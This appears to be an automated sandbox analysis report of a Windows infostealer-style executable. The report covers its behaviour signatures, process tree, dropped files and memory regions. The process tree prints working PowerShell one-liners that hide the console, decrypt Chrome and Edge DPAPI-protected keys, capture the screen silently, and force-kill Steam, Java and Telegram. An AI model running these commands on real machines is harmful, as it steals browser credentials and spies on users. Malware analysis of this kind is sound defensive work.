Analysis

  • max time kernel
    151s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 03:08

General

  • Target
    2026-08-03_2b7332f7ab1ee1be8d7f2c13f28dd44b_amadey_byakugan_cobalt-strike_coinminer_glassworm_icedid.exe
  • Size 66.4MB
  • Sample260804-dm4w7sca98
  • SHA256 99d678d6790804dacc7fcf140ab7684d05d9754bd6fac330aecd6e332387a6b3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-03_2b7332f7ab1ee1be8d7f2c13f28dd44b_amadey_byakugan_cobalt-strike_coinminer_glassworm_icedid.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-03_2b7332f7ab1ee1be8d7f2c13f28dd44b_amadey_byakugan_cobalt-strike_coinminer_glassworm_icedid.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "$w = Add-Type -Name W -Namespace C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();' -PassThru; $w::ShowWindow($w::GetConsoleWindow(), 0)""
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:236
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$w = Add-Type -Name W -Namespace C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();' -PassThru; $w::ShowWindow($w::GetConsoleWindow(), 0)"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5684
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lcm32j2o\lcm32j2o.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4C32.tmp" "c:\Users\Admin\AppData\Local\Temp\lcm32j2o\CSC34B3201990FE4C78868539270275B91.TMP"
            5⤵
              PID:4168
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2820
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:2396
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3012
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1316
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1480
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5920
          • C:\Windows\system32\taskkill.exe
            taskkill /IM Steam.exe /F
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2424
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\system32\taskkill.exe
            taskkill /IM javaw.exe /F
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5588
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1080
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2720
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4752
          • C:\Windows\system32\taskkill.exe
            taskkill /IM Telegram.exe /F
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2208

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 3674b90c1caf1df47ef6cdfcff99b7987586cab16fe77bbe8318ca09a0cd9a77
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 0f9f30f84196faa1b02a6a4d017611be94e7c9db3dfb5de3fe07b41938d91518
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 ee10fcb8b3c03f48a3b453eb1754c66c6506e0efdfa25659fa4fd4db5c2d41bb
            • MD5 SHA1 SHA512 TLSH

            RES4C32.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES4C32.tmp
            • Size 1KB
            • SHA256 2220340203d67118040087201e95557d0e5743ed5e94164f726bb8da2a3f17f5
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_z0pekrar.5xu.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z0pekrar.5xu.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            lcm32j2o.dll

            • Path C:\Users\Admin\AppData\Local\Temp\lcm32j2o\lcm32j2o.dll
            • Size 3KB
            • SHA256 14e001bad6e3c656c162effb17de86f3efef9011591f2616f992e7b90fa4491e
            • MD5 SHA1 SHA512 TLSH

            ham4bixx7yg.zip

            • Path C:\Users\Admin\AppData\Local\berserk-local\ham4bixx7yg.zip
            • Size 8KB
            • SHA256 93108f9f60a4361ee70ba57f1248377df4bac98847e4570a8683586f09524812
            • MD5 SHA1 SHA512 SSDEEP TLSH

            browser_forensics.py

            • Path C:\Users\Admin\AppData\Local\berserk-local\output\browser_forensics.py
            • Size 42KB
            • SHA256 8bb5b038375f8d4f25b1b98ab8ca1443c1a21b72a7211355dec1bd88c0707f2a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CSC34B3201990FE4C78868539270275B91.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\lcm32j2o\CSC34B3201990FE4C78868539270275B91.TMP
            • Size 652B
            • SHA256 aece420494e8e95e4c618b467f11572528e0db1168b1fcc67ae52227b6505919
            • MD5 SHA1 SHA512 TLSH

            lcm32j2o.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\lcm32j2o\lcm32j2o.0.cs
            • Size 276B
            • SHA256 6e6b4dcc307cc3b700918ff1bcf40dba2634497be50c6d5083a4645404afce62
            • MD5 SHA1 SHA512 TLSH

            lcm32j2o.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\lcm32j2o\lcm32j2o.cmdline
            • Size 369B
            • SHA256 8f5270a92e436fcf78f20965e066d778ca7ab1fad7da71faa4b5e317c4aed4fc
            • MD5 SHA1 SHA512 TLSH

            memory/1316-36-0x000002871FB30000-0x000002871FB80000-memory.dmp

            memory/5684-9-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-24-0x0000012A7B6B0000-0x0000012A7B6B8000-memory.dmp

            memory/5684-26-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-27-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-11-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-10-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-1-0x00007FFB359DF000-0x00007FFB359E0000-memory.dmp

            memory/5684-8-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-7-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-6-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp

            memory/5684-3-0x0000012A7BB20000-0x0000012A7BB42000-memory.dmp

            memory/5684-2-0x00007FFB35850000-0x00007FFB361F4000-memory.dmp